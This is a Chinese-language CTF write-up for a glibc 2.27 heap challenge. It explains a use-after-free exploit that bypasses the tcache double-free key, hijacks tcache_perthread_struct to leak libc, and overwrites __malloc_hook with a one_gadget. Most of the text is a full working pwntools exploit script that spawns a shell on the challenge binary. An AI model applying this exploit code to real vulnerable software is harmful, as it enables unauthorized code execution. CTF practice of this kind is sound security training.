漏洞点
存在UAF
思路
只能一直对下标为0的堆块进行修改。
因为这个是glibc-2.27-1.4相较于glibc-2.27-1.0多了一个key机制,是为了防止double_free机制的。
利用edit()将其修改为0即可绕过检查,然后再利用double free
利用double free对tcache_perthread_struct结构体进行劫持,然后将0x250对应counts修改为7,因为tcache_perthread_struct结构体chunk大小为0x250,所以这样当我们将这个chunk释放掉后,由于counts为7,表示tcache满了,就会将其free进unsortedbin中。
接着就是再次申请chunk,然后修改tcache_perthread_struct中tcache_entry指针,tcache_entry指针指向的就是当前tcache中对应大小的链的指针,将此指针修改到malloc_hook范围。
需要注意的是,tcache_perthread_struct对应的counts也要讲0x70处修改为1,然后再次申请这个大小的chunk即可申请出malloc_hook。再填入onegadget即可
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node4.anna.nssctf.cn', 28406) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(index,size): rl("Your choice: ") sl('1') rl("Index: ") sl(str(index)) rl("Size: ") sl(str(size))
def show(index): rl("Your choice: ") sl('3') rl("Index: ") sl(str(index))
def edit(index,content): rl("Your choice: ") sl('2') rl("Index: ") sl(str(index)) rl("Content: ") sl(content) def delete(index): rl("Your choice: ") sl('4') rl("Index: ") sl(str(index))
gdb.attach(p) add(0,0x40) delete(0)
edit(0,p64(0)*2)
delete(0) show(0) rl("Content: ") heap_leak = uu64() lg("heap_leak",heap_leak) heap_base = heap_leak-0x260 lg("heap_base",heap_base)
edit(0,p64(heap_base+0x10))
add(0,0x40) add(0,0x40)
edit(0,p64(0)*4+p64(0x0000000007000000))
delete(0) show(0) rl("Content: ") libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0,0x78) edit(0,p64(0x0000010000000000)+p64(0)*12+p64(malloc_hook-0x10))
add(0,0x60)
onegadget = [0x4f2a5,0x4f302,0x10a2fc]
edit(0,'a'*0x10+p64(libc_base+onegadget[2]))
add(0,0x10)
inter()
|